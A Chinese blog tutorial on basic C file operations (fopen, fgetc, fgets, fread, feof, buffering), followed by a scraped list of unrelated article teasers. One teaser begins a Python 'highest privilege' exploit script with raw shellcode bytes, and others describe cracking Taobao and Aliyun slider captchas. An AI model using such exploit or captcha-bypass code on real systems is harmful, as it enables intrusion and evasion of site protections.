C进阶:文件的基础操作
本文主要讲解文件基础操作的知识。
目录
一.文件指针
二.文件的打开和关闭
1.文件的打开
打开文件我们需要使用到 fopen 函数;
注意(文件扩展名):
2.文件的关闭
三.文件的读写
1.读与写,输出与输入的概念
编辑
2.流的概念
3.字符的读与写 fgetc 与 fputc
实例:
4.文本行的读与写 fgets 与 fputs
实例:
5.二进制的读与写 fread 与 fwrite
实例:
四.文件结束的判定
1.被错误使用的 feof
2.一些判断文件结束的总结
五.文件缓冲区
一.文件指针
1.缓冲文件系统中,关键的概念是“文件类型指针”,简称“文件指针”;
2.每个被使用的文件都在内存中开辟了一个相应的文件信息区,用来存放文件的相关信息(如文件的名字,文件状态及文件当前的位置等);3.这些信息是保存在一个结构体变量中的。该结构体类型是有系统声明的,取名FILE。
下面是在 vs2013编译环境提供的 stdio.h 头文件中有以下的文件类型申明:
struct _iobuf
{char *_ptr;int _cnt;char *_base;int _flag;int _file;int _charbuf;int _bufsiz;char *_tmpfname;};
typedef struct _iobuf FILE;
不同的编译器结构体的内容可能有些不一样,但都大同小异;
每当打开一个文件的时候,系统会根据文件的情况自动创建一个FILE结构的变量,并填充其中的信息,使用者不必关心细节。
一般都是通过一个FILE的指针来维护这个FILE结构的变量,这样使用起来更加方便。
下面创建一个文件指针变量:
1.定义pf是一个指向FILE类型数据的指针变量。可以使pf指向某个文件的文件信息区(是一个结构体变量);
2.通过该文件信息区中的信息就能够访问该文件。也就是说,通过文件指针变量能够找到与它关联的文件。
例如:
二.文件的打开和关闭
1.文件的打开
打开文件我们需要使用到 fopen 函数;
让我们看看 fopen 在库函数中的声明:
1.需要头文件 <stdio.h>;
2.参数 const char *filename : 要打开的文件的文件名 ;
3.参数 const char *mode :表示要打开的模式;
4.返回值:返回一个文件指针,若文件打开失败则返回一个空指针;
注意(文件扩展名):
有些小伙伴们打开文件的时候,认为自己的文件名是正确的,但编译器却显示没有这个文件,这个时候不要质疑电脑,电脑是不会出错的,遇到这种情况我们应检查文件管理器的文件扩展名是否开启,如果没有打开那打开就行了,你会发现有些文件名称发生了变化;
详情如图:
文件打开模式:
2.文件的关闭
关闭文件需要使用到函数 fclose ;
下面来看看 fclose 在库函数中的声明:
1.参数 FILE *stream : 这是指向 FILE 对象的指针,该 FILE 对象指定了要被关闭的流;
2.返回值:若文件关闭成功,则返回0;
若文件关闭失败,则返回EOF;
实例:
int main()
{FILE* pf = fopen("test.txt", "w"); //以只写的方式打开文件if (pf == NULL) //判断文件是否打开成功{perror("fopen"); //若打开失败,则显示错误信息return 0;}//写文件//.......//关闭文件fclose(pf); pf = NULL; //将文件指针置空,防止野指针的使用return 0;
}
三.文件的读写
1.读与写,输出与输入的概念
2.流的概念
可以看到流其实是一个极其抽象的概念,我们可以把它理解成C程序与外部设备进行交流的一个媒介;
3.字符的读与写 fgetc 与 fputc
字符的读取函数 fgetc :
1.参数 FILE *stream :这是指向 FILE 对象的指针,该 FILE 对象标识了要在上面执行操作的流;
2.返回值:该函数以无符号 char 强制转换为 int 的形式返回读取的字符,如果到达文件末尾或发生读错误,则返回 EOF。
字符的写入函数 fputc :
1.描述 :把参数 char 指定的字符(一个无符号字符)写入到指定的流 stream 中,并把位置标识符往前移动;
2.参数 int char :这是要被写入的字符。该字符以其ASCII 值进行传递;
3.参数 FILE *stream : 这是指向 FILE 对象的指针,该 FILE 对象标识了要被写入字符的流;
4.返回值:该函数以无符号 char 强制转换为 int 的形式(即字符的ASCII值)返回写入的字符,如果发生错误则返回 EOF。
实例:
int main()
{FILE* pf = fopen("test.txt", "w"); //以只写的方式打开文件if (pf == NULL){perror("fopen");return 0;}char ch = 0;for (ch = 'a'; ch <= 'z'; ch++) //向文件写入26个小写英文字母{fputc(ch, pf);}fclose(pf);pf = NULL;FILE *pfread = fopen("test.txt", "r"); //以只读的方式打开文件if (pfread == NULL){perror("fopen");return 0;}while (ch!= EOF) //判断是否读取到文件末尾{ch = fgetc(pfread); //从文件中读取字符printf("%c", ch); //打印读取道德字符}fclose(pfread);pfread = NULL;return 0;
}
打印结果:
4.文本行的读与写 fgets 与 fputs
文本行的读取 fgets :
1.描述: 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。
当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定;
2.参数 char *str :这是指向一个字符数组的指针,该数组存储了要读取的字符串;
3.参数 int n : 这是要读取的最大字符数(包括最后的空字符)。通常是使用以 str 传递的数组长度;
4.参数 FILE *stream :这是指向 FILE 对象的指针,该 FILE 对象标识了要从中读取字符的流;
5.返回值:如果成功,该函数返回相同的 str 参数;
如果到达文件末尾或者没有读取到任何字符,str 的内容保持不变,并返回一个空指针;
如果发生错误,返回一个空指针;
文本行的写入 fputs :
1.描述:把字符串写入到指定的流 stream 中,但不包括 '\0';
2.参数 const char *str : 这是一个数组,包含了要写入的以 '\0' 终止的字符序列;
3.参数 FILE *stream : 这是指向 FILE 对象的指针,该 FILE 对象标识了要被写入字符串的流;
4.返回值:该函数返回一个非负值,如果发生错误则返回 EOF。
实例:
int main()
{char str[] = "abcdefg";FILE* pf = fopen("test.txt", "w"); //以只写的方式打开文件if (pf == NULL) //判断是否打开成功{perror("fopen");return 0;}fputs(str, pf); //向文件中写入 strfclose(pf);pf = NULL;FILE* pfread = fopen("test.txt", "r"); //以只读的方式打开文件if (pfread == NULL) //判断时候打开成功{perror("fopen");return 0;}char tmp[20] = { 0 };printf("%s\n", fgets(tmp, 20, pfread)); //将读取到的字符串存入 tmp 中,并打印fclose(pfread); //关闭文件pfread = NULL;return 0;}
打印结果:
5.二进制的读与写 fread 与 fwrite
二进制的读取 fread :
1.描述:从给定流 stream 读取数据到 ptr 所指向的数组中;
2.参数 void *ptr :这是指向带有最小尺寸 size*nmemb 字节的内存块的指针;
3.参数 size_t size :这是要读取的每个元素的大小,以字节为单位;
4.参数 size_t nmemb :这是元素的个数,每个元素的大小为 size 字节;
5.参数 FILE *stream : 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输入流;
6.返回值 :成功读取的元素总数会以 size_t 对象返回,size_t 对象是一个整型数据类型。如果总数与 nmemb 参数不同,则可能发生了一个错误或者到达了文件末尾,即如果返回值小于元素个数 ,则发生了错误或读到文件末尾。
二进制的写入 fwrite :
描述:把 ptr 所指向的数组中的数据写入到给定流 stream 中;
各参数的意思和 fread 一致,只不过是把读取换成了写入;
返回值:如果成功,该函数返回一个 size_t 对象,表示元素的总数,该对象是一个整型数据类型。如果该数字与 nmemb 参数不同,则会显示一个错误。
实例:
int main()
{int a = 10000;FILE* pfwrite = fopen("test.bin", "wb"); //以二进制写的方式打开文件if (pfwrite == NULL){perror("fopen");return 0;}fwrite(&a, sizeof(int), 1, pfwrite); //写入文件fclose(pfwrite);pfwrite = NULL;FILE* pfread = fopen("test.bin", "rb"); //以二进制读的方式打开文件if (pfread == NULL){perror("fopen");return 0;}int b = 0;fread(&b, sizeof(int), 1, pfread); //读取文件printf("%d\n", b);fclose(pfread);pfread = NULL;return 0;
}
程序运行起来成功打印了10000,但当我们打开记事本看这个文件时却是一个看不懂的符号;
这是因为我们是以二进制的方式写的文件,所以才会显示这样,我们可以用可以查看二进制文件的软件查看,例如 vs2022 就可以查看二进制文件;
四.文件结束的判定
1.被错误使用的 feof
首先牢记:在文件读取过程中,不能用feof函数的返回值直接用来判断文件的是否结束。
而是应用于当文件读取结束的时候,判断是读取失败结束,还是遇到文件尾结束。所以 feof 是用来判断文件是什么原因结束的。
2.一些判断文件结束的总结
1. 文本文件读取是否结束,判断返回值是否为 EOF ( fgetc ),或者 NULL ( fgets )
例如:
fgetc 判断是否为 EOF .
fgets 判断返回值是否为 NULL .
2. 二进制文件的读取结束判断,判断返回值是否小于实际要读的个数。
例如:
fread判断返回值是否小于实际要读的个数。
例子:
#include <stdio.h>
#include <stdlib.h>
int main()
{int c; // 注意:int,非char,要求处理EOFFILE* fp = fopen("test.txt", "r");if(!fp) {perror("File opening failed");return EXIT_FAILURE;}//fgetc 当读取失败的时候或者遇到文件结束的时候,都会返回EOFwhile ((c = fgetc(fp)) != EOF) // 标准C I/O读取文件循环{putchar(c);}//判断是什么原因结束的if (ferror(fp))puts("I/O error when reading");else if (feof(fp))puts("End of file reached successfully");fclose(fp);fp=NULL;return 0;
}
五.文件缓冲区
ANSIC 标准采用“缓冲文件系统”处理的数据文件的,所谓缓冲文件系统是指系统自动地在内存中为程序中每一个正在使用的文件开辟一块“文件缓冲区”。
从内存向磁盘输出数据会先送到内存中的缓冲区,装满缓冲区后才一起送到磁盘上。
如果从磁盘向计算机读入数据,则从磁盘文件中读取数据输入到内存缓冲区(充满缓冲区),然后再从缓冲区逐个地将数据送到程序数据区(程序变量等)。
缓冲区的大小根据C编译系统决定的。
实例:
#include <stdio.h>
#include <windows.h>
//VS2013 WIN10环境测试
int main()
{FILE*pf = fopen("test.txt", "w");fputs("abcdef", pf);//先将代码放在输出缓冲区printf("睡眠10秒-已经写数据了,打开test.txt文件,发现文件没有内容\n");Sleep(10000);printf("刷新缓冲区\n");fflush(pf);//刷新缓冲区时,才将输出缓冲区的数据写到文件(磁盘)//注:fflush 在高版本的VS上不能使用了printf("再睡眠10秒-此时,再次打开test.txt文件,文件有内容了\n");Sleep(10000);fclose(pf);//注:fclose在关闭文件的时候,也会刷新缓冲区pf = NULL;return 0;
}
结论:
因为有缓冲区的存在,C语言在操作文件的时候,需要做刷新缓冲区或者在文件操作结束的时候关闭文件。
如果不做,可能导致读写文件的问题。
🐬🤖本篇文章到此就结束了,若有错我或是建议的话,欢迎小伙伴们指出;🕊️👻
😄😆希望小伙伴们能支持支持博主啊,你们的支持对我很重要哦;🥰🤩
😍😁谢谢你的阅读。😸😼
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.exyb.cn/news/show-4505242.html
如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!用Elasticsearch构建电商搜索平台,一个极有代表性的基础技术架构和算法实践案例
转自:http://www.sohu.com/a/114545287_116235 电商数据系统主要类型 一个中等的电商平台,每天都要产生百万条原始数据,上亿条用户行为数据。一般来说,电商数据一般有3种主要类型的数据系统: 1. 关系型数据库ÿ…...

工控CTF之协议分析7——OMRON
协议分析 流量分析 主要以工控流量和恶意流量为主,难度较低的题目主要考察Wireshark使用和找规律,难度较高的题目主要考察协议定义和特征 简单只能简单得干篇一律,难可以难得五花八门 常见的工控协议有:Modbus、MMS、IEC60870、…...

4种引用类型
⽆论是通过引⽤计数法判断对象引⽤数量,还是通过可达性分析法判断对象的引⽤链是否可达,判定对象的存活都与“引⽤”有关 强引用 把一个对象赋值给一个引用变量,这个引用变量就是一个强引用。强引用是最常见、使用最普遍的引用。 当一个对象…...

一级造价工程师(安装)- 计量笔记 - 第二章第二节除锈、防腐蚀和绝热工程
1、已发生锈蚀,且部分氧化皮已经剥落的钢材表面,其锈蚀等级为(B级)。 钢材表面原始锈蚀,A级——全面覆盖着氧化皮而几乎没有铁锈的钢材表面;B级——已发生锈蚀,且部分氧化皮已经剥落的钢材表面&…...
交叉表的概念及sql中交叉表的使用
交叉表是一种常用的分类汇总表格。使用交叉表查询,显示源于表中某个字段的汇总值,并将它们分组,其中一组列在数据表的左侧,另一组列在数据表的上部。行和列的交叉处可以对数据进行多种汇总计算,如:求和、平…...
图神经网络GNN论文2019-2020顶会列表
点击上方,选择星标或置顶,每天给你送干货!阅读大概需要16分钟跟随小博主,每天进步一丢丢整理:专知KDD 20191、Cluster-GCN: An Efficient Algorithm for Training Deep and Large Graph Convolutional Networks作者&am…...

Macbook安装双系统的方法
1如果苹果系统还在请不用看括号内的信息除非安装出现问题再看(特别注意如果要装苹果系统只能在下面的选项中选GPT分区,如果要装WIN7只能分一个区,格式为苹果日志式,进入苹果系统后用BOOTCAMP再来把一个分区分成两个其中一个来装WI…...

Vue实现动态路由
通常我们在vue项目中都是前端配置好路由的,但在一些项目中我们可能会遇到权限控制,这样我们就涉及到动态路由的设置了。 动态路由设置一般有两种: (1)、简单的角色路由设置: 比如只涉及到管理员和普通用户的权限。通常直接在前端…...

大周从0到1带你做一个赚钱的短视频账号,新手小白抓紧收藏
大周用了四个月的时间,做了一个可以每天稳定收益200-300的短视频新账号。 这期给也想做的小伙伴们分享一波我是如何操作的,也想做的新手小白可以先收藏起来,然后按步骤一步步操作。 一、学习玩法和规则 做短视频有现成的教学,首…...

从输入网址到收到响应的详细过程
一、输入网址浏览器生成消息 当我们输入网址,浏览器在生成消息之前,需要解析网址,浏览器是如何解析网址的?我们随意输入一个字符串,浏览器肯定不会搭理我们。因此,我们输入的网址(URL࿰…...

视频监控智能分析之火焰检测原理
一、应用背景 基于视频分析的室内、室外烟火自动检测预警系统的目的是能够实现无人值守的不间断工作,自动发现监控区域内的异常烟雾和火灾苗头,以最快、最佳的方式进行告警和协助消防人员处理火灾危机,并最大限度的降低误报和漏报现象&#x…...

pg 锁机制深析
spin lock 使用 cas 去获取锁,先获取 spins_per_delay 次数,如果还失败,则每次获取失败将 delay 时长延长至 1~2倍 delay 值加 0.5 us,spins_per_delay 的值在获取锁后会做更新,如果这次没有等待,则下次可…...

Direct3D 的进化史
伯乐在线导读:本文作者 Alex St. John 和 Craig Eisler、 Eric Engstrom 三位一起创建了早期的微软 DirectX 技术平台。1992-1997年Alex在微软的工作,后来成为 DirectX 技术布道师。感谢浅水清流的热心翻译。如果其他朋友也有不错的原创或译文࿰…...

在Windows上编译mono
There are two ways of building Mono on Windows, both do require a Cygwin setup which provides some tools required by Mono at build time. First, download Cygwin from www.cygwin.com. Use the 32 bit installer (setup-x86.exe). Run the following command in cmd...

安卓课程设计报告
** 安卓课程设计报告 ** 目录 一.应用需求分析… 3 1.1用例分析UML图… 3 1.2用例说明… 4 二…应用系统设计… 5 2.1.应用核心模块时序图:… 5 2.2应用类图… 6 2.3Android数据库概述… 6 2.4数据库表详细设计… 7 2.4.1 用户表… 7 2.4.2…...

VINS-Mono运行与评测
VINS-Mono运行与评测1 修改VINS-mono轨迹保存代码1.1 修改 visualization.cpp1.2 修改 pose_graph.cpp1.3 修改VINS-mono运行参数2 EVO 显示轨迹2.1 分析单条轨迹2.2 分析多条轨迹3 EUROC数据集测试3.1 定位精度3.2 计算时间参考资料由于VINS-Mono保存的轨迹格式与EVO所使用的格…...

发那科机器人请关闭电源_FANUC机器人常见错误恢复步骤,你真的都会吗?
01机械手损坏恢复步骤当配备了机械手损坏硬件的机器人上的机械手损坏检测开关跳闸时,发生机械手损坏错误。当机器人的刀具遇到可能导致刀具损坏的障碍物时,开关跳闸。系统将:1.关闭伺服系统驱动电源,实施机器人制动2.显示表明机械…...

分布式数据库(十九):数据库的存储引擎
1. RUM 猜想 2. B Tree 3. LSM-Tree 3.1 LSM-Tree的处理过程 3.2 LSM-Tree的缺点 3.3 Leveled Compact Strategy 4. 分布式数据库的实现 4.1 OceanBase 4.2 TiDB:WiscKey 4.3 CockroachDB:Pebble 4.4 TiFlash 5. 小结 1. RUM 猜想 说到数据存储&…...

计算机组成原理课程设计:复杂模型机
课程设计报告 课程名称: 计算机组成原理 设计题目: 复杂模型机 目 录 1、课程设计任务书 3 1.1设计任务 3 1.2性能指标和设计要求 3 2、本设计的模型机体系结构及功能 4 2.1 模型机的体系结构 5 2.2 模型机所具有的基本功能 5 3、 模型机硬件设计 5 3…...

洛谷 P5268 [SNOI2017]一个简单的询问(莫队,差分)
题解: https://www.luogu.com.cn/problem/solution/P5268 1、根据差分 get(L, R, x) get(1, R, x) - get(1, L - 1, x) 从而, get(L1, R1, x) * get(L2, R2, x) 可以分为 4部分 q1 get(1, R1, x) * get(1, R2, x) q2 get(1, L1 - 1, x) * get(1, L2 -…...

【FLV 组装】FLV播放:win32构建播放器
G:\MEDIA\FLV\FLVPLA\flv_playerQtFile\video\h264\h264_decoder.h构建成功 使用ffmpeg解码。openh264 解码 G:\CDN\nd-live-p2p-sdk\media\3rdparty\all-3rdparty\openh264\includefdk aac解码 G:\CDN\nd-live-p2p-sdk\media\3rdparty\all-3rdparty\fdk-aac\include\fdk-aacff…...

【c++提高1】二叉树二叉堆(万字总结)
大纲 一、二叉树 二叉树:1.二叉树简介 二叉树:2.二叉树的性质 二叉树:3.二叉树的存储 二叉树:4.二叉树的遍历 二叉树:5.求解先序、后序、层次遍历序列 二叉树:6.例题 二、二叉堆 二叉堆:1.二叉堆…...

python使用from Crypto.Random import random时候出现winrandom导入失败的解决方法
问题描述:今天在使用Crypto.Random.random的时候出现错误,具体错误原因如下: >>> from Crypto.Random import random Traceback (most recent call last):File "<stdin>", line 1, in <module>File "C:…...

『 canvas 特效』一文教你绘制绚丽的星空背景 TS + ES6
介绍 很久没有写关于 canvas 效果的文章了,刚好最近又学到了一个新的特效,使用 canvas 绘制多层次动态星空背景,今天就分享给大家。首先我们依旧来看一下最终实现的效果,如图所示: 由于录制 GIF 造成失帧,…...

ViewPager自动轮播,手指按住停止轮播
前面写了ViewPager添加指示器,无限轮播,自动轮播。但是自动轮播有一个问题就是手指按住后要停止轮播才行。 添加指示器,无限轮播,自动轮播请参考另外两篇文章: 《viewpager自添加指示器,无限轮播》 《ViewPager的自…...

python爬虫 scrapy+selenium+webdriver实现鼠标滑动破解阿里云盾快验证
在爬取jianshu文章的时候发现,jianshu竟然买了阿里云的盾块验证!!!很是头疼,虽然说没有其他图片匹配的那么麻烦,但是阿里云的人机验证和算法真的是顶尖的,查阅了多个资料最后没办法,…...

react的jsx语法是怎样解析的
首先我们来看看下面的代码 import "react" from "react";const element (<div><div><span>1</span><span>2</span><span>3</span></div><div>1</div><div>2</div> </d…...

[CTF]-HECTF2021部分复现
HECTF2021部分复现MISC快来公众号yaJamesHarden捉迷藏迷途的狗狗snakeCRYPTO签到encodeRSA_e_nre_rsaLittleRSAWebmmmmd5d5d5d5EDGnb(签到)时光塔的宝藏ez_pyLFI_RCE反序列化总结MISC 快来公众号ya 关注公众号回复即可 JamesHarden 拖到010 PK开头 修改…...

es6 正则
u 修饰符 ES6 对正则表达式添加了u修饰符,含义为“Unicode 模式”,用来正确处理大于\uFFFF的 Unicode 字符。也就是说,会正确处理四个字节的 UTF-16 编码 /^\uD83D/u.test(\uD83D\uDC2A) // false /^\uD83D/.test(\uD83D\uDC2A) // true 点…...

R语言使用ggplot2包使用geom_density()函数绘制分组密度图(填充色配置、半透明填充色、添加均值线)实战(density plot)
R语言使用ggplot2包使用geom_density()函数绘制分组密度图(填充色配置、半透明填充色、添加均值线)实战(density plot) 目录 R语言使用ggplot2包使用ge...

输入10个人的平均成绩找出高于平均分的分数
#include<stdio.h>int main(){int a[10],i0,total0;//定义a[10]指的是可以存储10个数,但是是从a[0]~a[9];double average0;for(;i<10;i){scanf("%d",&a[i]);totala[i];}averagetotal/10.0;for(i0;i<10;i){if(a[i]>average)printf(&quo…...

PHP(6):php接收前端的数据
现在一般都是采用JSON格式来传递数据,EasyUI、LayUI是这样的,其他的也差不多,并且大部分采用JQuery的POST方式。 ⑴最常见的方式,类似地址栏的数据传递。 $.ajax({url:DRUserAdd.php,data:"C01"data.DC01"&C02…...

oday获取系统最高权限的代码
import sys,sockettarget sys.argv[1]shellcode ("\x6a\x4f\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfe\x1f" "\xf6\x02\x83\xeb\xfc\xe2\xf4\x02\xf7\x7f\x02\xfe\x1f\x96\x8b" "\x1b\x2e\x24\x66\x75\x4d\xc6\x89\xac\x13\x7d\x50\xea\x9...

mongodb数据迁移设置方法
由于担心新产生的数据不够用,就进行了数据的迁移,或者将数据保存在其他位置。 (1)首先是停止mongodb的服务或者关闭数据库 这里面有好几种介绍停止服务的方法https://blog.csdn.net/github_38885296/article/details/80619191 …...

计算机组成原理第4位,计算机组成原理4位进制计数器实验报告.doc
计算机组成原理4位进制计数器实验报告计算机组成原理实验一 4位二进制计数器实验 姓名:李云弟 学号:1座机电话号码5 网工1201【实验环境】1. Windows 2000 或 Windows XP2. QuartusII9.1 sp2、DE2-115计算机组成原理教学实验系统一台,排线若干。【实验目…...
Selenium模拟登录系列 | 淘宝滑块验证码破解!不难嘛!
导 语 好久没更新了,上来冒个泡吧。各位小伙伴还记得前段时间号主挖过的一个坑嘛(虽然我曾经挖过无数个坑T_T): Selenium模拟登录系列 | B站滑块验证码破解 今天随手更新了一下SeleniumLogin这个包,支持了一波利用selenium模拟登录淘宝&a…...

vue动态路由中路由信息存入缓存中的问题
动态存储路由信息 当我们将动态路由信息存入缓存中(或者vuex实现持久化数据存储)时,在退出登录或token失效时需要将缓存清除(包括vuex存储的信息)。当拿到动态路由信息时,我们不要将处理成routes格式的信息…...

学车笔记——科目二总结
上车调座椅,后视镜,系安全带 ① 侧方位停车:右 1、漏出直角,挂倒挡 2、直角消失方向盘向右打死 3、左视镜看到对角砖头方向盘回正 后轮胎压线前一瞬间方向盘向左打死 4、右镜线平行停车 5、左转向灯,挂1档 方向盘看到…...
很多人都对3dB带宽有一定误解
几乎所有人都认为,3dB带宽表示信号衰减为0.707倍时的频率范围,然而实际上,3dB带宽指的是信号衰减为0.708倍时的频率范围,这个数值和根号二分之一没有任何关系,只是出于巧合比较接近而已。具体理由如下: 用…...

Android 限制 EditText 不换行
Android EditText,在某些场景下,比如输入用户名,或者输入密码,我们希望限制用户只输入一行,或者不希望文本框换行,这里说一下正确的解法。 如果需要设置的话,很简单,用maxLines即可…...

原生js手撕实现超级抽奖大转盘
<!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"widthdevice-width, initial-sca...

微信表情html代码大全,微信表情代码
/::) 笑话/::~ 撇嘴/::B 色/:,f 奋斗/:heart 爱心/:showlove 嘴唇/:cake 蛋糕/:gift 礼物/:handclap 鼓掌/::* 亲亲/:rose 玫瑰/:kiss 献吻/:love 爱情/:ok OK/:lvu 爱你/:jj 勾引/:) 抱拳/:share 握手/:hug 拥抱/::…...

rust编程-struct结构体(chapter 5.1 结构体定义和实例化)
目录 1. 结构体定义和实例化 1.1 struct介绍 1.2 使用字段简写进行实例化 1.3 从其它对象实例化新结构体对象 1.4 使用无命名字段的struct类型 1.5 没有任何字段的structs结构体 1.6 结构体字段的值所有权 结构(struct)是一种自定义数据类型,可以将多个相关类…...

FLV player 在线播放器【www.lantianye3.top】
一个可以在线播放flv格式视频的播放器,非常方便。在这里分享给大家。 网址:https://www.lantianye3.top/ flv player 首页截图 还为大家添加了旋转功能,因为有的视频可能不是正的。可以点击旋转,调整角度,非常好用。...

crosstab交叉表_数据透视之交叉表 crosstab()
共1866字,阅读时间4分钟 点击上方蓝色字体关注公众号1 回顾昨天总结了Python的69个内置函数,回看:Python 69个内置函数分类总结 这些内置函数无论何时,我们都可以任意调用,熟知它们是必要的。 在这之前介绍过Python数…...

详解OpenCV的椭圆绘制函数ellipse()
函数ellipse()用于在图像上绘制椭圆。 有两种原型,这里只列出常用的那种。 C原型如下: void cv::ellipse(InputOutputArray img,Point center,Size axes,double angle,double startAngle,double endAngle,const Scalar & color,int thickness 1,…...

周次的计算
查询当前日期是一年中的第几周select to_char(to_date(v_month, yyyymmdd), YYYYIW) from dual;select to_char(sysdate, YYYYIW) from dual;--ISO标准(判断本周为哪年的依据是看哪一年的天数多,比如2016年第一周为1.4-1.10,因为上一周只有周…...

Lists.partition用法(代码实例)
将list集合按指定长度进行切分,返回新的List<List<??>>集合,如下的: List<List> listsLists.partition(numList,3); package test; import com.google.common.collect.Lists; import org.junit.Test; import java.util…...

发那科机器人请关闭电源_发那科机器人报警处理(中文)
c-6713按下F2[RELEASE(释放)]以释放超行程轴。4按住shift键,按下警告清除按钮。5按住shift键,按下微动键把工具沿超行程轴线微动到可移动的有效范围内。从损坏的腕部警告复原(SERVO-006)步骤:1按住SHIFT键,然后按下RESET键。2按住…...

java 获取周次_[Java] 获取本月周次和日期时间段信息
packagecom.wdcloud.monitoring.common;importjava.text.SimpleDateFormat;importjava.util.ArrayList;importjava.util.Calendar;importjava.util.Date;importjava.util.List;importcom.wdcloud.monitoring.Model.WeekInfoModel;public classDateUtils {//是否打印日志private…...

面向对象技术(C++)学生成绩管理系统课程设计任务书及说明书
《面向对象技术(C)》课程设计任务书 一、课程设计题目 学生成绩管理系统 二、课程设计目的 课程设计目的是增强学生对面向对象C语言的基本知识的理解,牢固掌握C的基本语法和面向对象程序设计方法,掌握C语言调试的基本技能&…...

C#基于NModbus实现MODBUSTCP字符串、浮点数读写
引用NModbus 在NuGet搜索NModbus,添加引用。 封装ModbusTcp类 public class ModbusTCP { private ModbusFactory modbusFactory; private IModbusMaster master; private TcpClient tcpClient; public string IPAdress { get; set; }public int Port { get; set; …...

虹科案例 | 解决ASRS系统的痛点问题居然这么简单?(上)
摘要 ASRS(自动存储和检索系统)在内部物流领域变得越来越常见。内部物流包括优化、整合、自动化和管理履行或配送中心内的货物物流流动。 ASRS穿梭机经常用在具有多个存储级别的配送中心的仓库或库存集装箱中处理散装产品的托盘。 自动化存储和检索系统的定义是专门为物料的存…...

蓝牙BLE---DA14585的按键单击、长按、按住、抬起检测
本人刚接触Dialog的BLE芯片不久,写得不好请见谅,谢谢! 按键处理在单片机里面算是比较基础的东西,但是有时候处理不好也容易出问题。 关于按键短按长按的处理一般也都是用外部中断定时器的方法实现的。 下面我们来看看DA14585用…...

多线程中生产消费模型
一、生产消费模型 实际生活中,需要操作共享的某个资源(水池),但是对这个共享资源的操作方式不同(部分是注水[生产]、部分是抽水[消费])。把这种现象我们可以称为生产和消费模型。 生产:它可以采…...

前端html+css: 3D滚动正方体————按住鼠标左键即可拖动
如图所示 代码如下 <!doctype html> <html lang"en"> <head><meta charset"UTF-8"><title>Document</title><style>h3{text-align: center;color: #5A5A5A; }body{background: #000;}#box{width: 200px;heigh…...

小米java开发面经2022(3面offer)
文章目录流程业务篇基础篇建议流程 12月14日投简历 12月17日上午9:30,一面原定90分钟实际90分钟 业务和基础 一道中等链表算法题,只给出思路 面试结束后,面试官说给我面试通过,并问我明天是否方便二面 12月18日上午11:00&am…...

动态规划基本问题
一.基本思想:(总的来说就是把一个问题分成若干个子问题,再为每个子问题求最优解,最终得 到全局最优解的过程,取决于该问题是否能用动态规划解决的是这些”小问题“会 …...

Python爬取东方财富网任意股票任意时间段的Ajax动态加载股票数据
导言 最近由于需求想爬取以下东方财富网的股票数据,但是发现没有想象那么简单,接下来我会讲述一下我遇到的问题以及是如何解决,最后成功的爬出了想要的数据。 查看网页源码 首先我们F12打开东方财富网网页源码,以指南针(300803…...

Python-Pandas库中的交叉表
Python\Pandas\交叉表1. 交叉表-概念2. 交叉表-操作Fs1-1:用DataFrame设置一个男女抽烟的透视表Fs2-1:求出各个性别抽烟的人数Fs2-2:求出各个年龄段抽烟人情况1. 交叉表-概念 交叉表是一种用于计算分组的特殊透视图,对数据进行汇总 在pandas中…...

享乐,在自己的园地
核心提示一:“我是爱好文艺者。我想在文艺里理解别人的心情,在文艺里找出自己的心情,得到被理解的愉快。在这一点上,如能得到满足,我总是感谢的。所以我享乐——我想——天才的创造,也享乐庸人的谈话。” —…...

阻容感基础05:电容器原理(1)-电容器模型
说在开头:关于关于狭义相对论 19世纪末,大多数物理学家都认为宇宙中是有“以太”存在的(当然这个“以太”,并非是现在的“以太网”),但是经过科学家一波又一波的寻找“以太”的实验,从实验结果…...

广发证券:积极推行投资者教育
等待3年之后,股指期货、融资融券千呼万唤始出来。股指期货、融资融券的推出点燃了市场激情,不仅老投资人跃跃欲试,新增的开户数量也不断增长。对此,广发证券认为,新开户投资者数量爆发式增长和证券投资品种的不断丰富&…...

思想是成功之因
引用s98的一段文章,寻找成功的秘诀!!我渴望成功!!每一个人的成功,就像是太阳的东升西落,是可以被预期的、被肯定的。只要他做某些固定的事情,使用某些法则,任何人都可以成…...

asp毕业设计——基于asp+access的中学网站设计与实现(毕业论文+程序源码)——中学网站
基于aspaccess的中学网站设计与实现(毕业论文程序源码) 大家好,今天给大家介绍基于aspaccess的中学网站设计与实现,文章末尾附有本毕业设计的论文和源码下载地址哦。 文章目录: 基于aspaccess的中学网站设计与实现&a…...

思想是成功之因(转)
每一个人的成功,就像是太阳的东升西落,是可以被预期的、被肯定的。只要他做某些固定的事情,使用某些法则,任何人都可以成功。因为成功是靠思想,不是靠性别、不是靠经验、不是靠智慧、不是靠体力。思想,控制…...

【管理者】精读德鲁克教授《卓有成效的管理者》(一)
彼得-德鲁克,一代管理学宗师。他渊博的知识、非凡的经历使其在管理、政治、法律、社会等多个领域留下诸多精辟的见解和耐人寻味的启示,尤其是管理领域,是他一生主要耕耘的园地,成就卓越。《卓有成效的管理者》是德鲁克教授的著作&…...

给MATLAB初学者的建议
在网上看到一下关于 matlab 学习体会的心得 , 觉得不错 , 就推荐上来了 !:lol /*****************************************************************************************************/ ( 一 ) 写给学习matlab 的新手们本人接触 matlab 已经有 5 年多的时间了࿰…...

Promise(基础)
Promise是什么 1.promise是一门新的技术(ES6规范) 2.Promise是JS中一编程的解决方案(旧的解决方案是单纯的使用回调函数) 3.promise一个构造函数,promise队形用来封装一个一步操作并可以获取其成功/失败的结果值。 注…...

给Java初学者的一些建议,让你学Java没烦恼,你,不信吗?
作为最热门的程序开发语言之一,Java 在互联网领域中的地位无需赘言。热门也带来了高薪和大量的工作机会,对那些准备通过学习 Java 来改变自己命运的学子来说,以下好的学习方法和经验是非常值得借鉴的。 一、逼迫自己的心态 在笔者看来&…...

开始我的新园地--献给我的那些学长们
